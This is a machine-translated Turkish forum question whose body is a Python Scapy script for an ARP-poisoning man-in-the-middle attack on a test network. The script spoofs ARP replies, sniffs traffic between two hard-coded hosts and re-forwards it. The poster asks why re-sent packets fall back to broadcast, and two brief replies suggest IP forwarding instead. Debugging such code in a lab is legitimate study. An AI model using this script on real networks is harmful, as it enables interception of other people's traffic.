Bir test ağında scapy
ile orta saldırıya bir adam yapmaya çalışıyorum. Burada, Şimdi anladınız o Scapy ile orta saldırıda adam
kod:: My kurulum böyledir Bu kod VM2
çalışıyorsa
from scapy.all import *
import multiprocessing
import time
class MITM:
packets=[]
def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71"),node2=("192.168.116.1", "00:50:56:c0:00:08")):
self.victim=victim
self.node2=node2
multiprocessing.Process(target=self.arp_poison).start()
try:
sniff(filter='((dst %s) and (src %s)) or ((dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
except KeyboardInterrupt as e:
wireshark(packets)
#self.arp_poison()
def routep(self,packet):
if packet.haslayer(IP):
packet.show()
if packet[IP].dst==self.victim[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.victim[1]
elif packet[IP].dst==self.node2[0]:
packet[Ether].src=packet[Ether].dst
packet[Ether].dst=self.node2[1]
self.packets.append(packet)
packet.display()
send(packet)
print len(self.packets)
if len(self.packets)==10:
wireshark(self.packets)
def arp_poison(self):
a=ARP()
a.psrc=self.victim[0]
a.pdst=self.node2[0]
b=ARP()
b.psrc=self.node2[0]
b.pdst=self.victim[0]
cond=True
while cond:
send(b)
send(a)
time.sleep(5)
#cond=False
if __name__=="__main__":
mitm=MITM()
.
Arp zehirlenmesi iyi çalışıyor, her iki makinenin arpa önlüklerini kontrol ediyorum ve beklediğim gibi davranıyorum. Ama routep
içeride, ben src ve dst mac adresini değiştirmek ve uygun ana bilgisayara alınan paket göndermek için deneyin scapy bir uyarı verir:
WARNING: more Mac address to reach destination not found. Using broadcast
Ve ben, modifiye paketleri bırakarak değildir VM2
üzerinde wireshark
gördüğünüz makine. Neden böyle oluyor? Bir şey mi eksik?
Sanırım bunu zorlaştırıyorsunuz. Sadece alt ağa sahte arp cevapları göndermeniz ve makinenizde ip iletimini etkinleştirmeniz yeterlidir. http://www.secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC
MAC katmanı da dahil olmak üzere çerçeveler göndermek ve almak istediğinizi açıkça belirtmeniz gerekir mi? –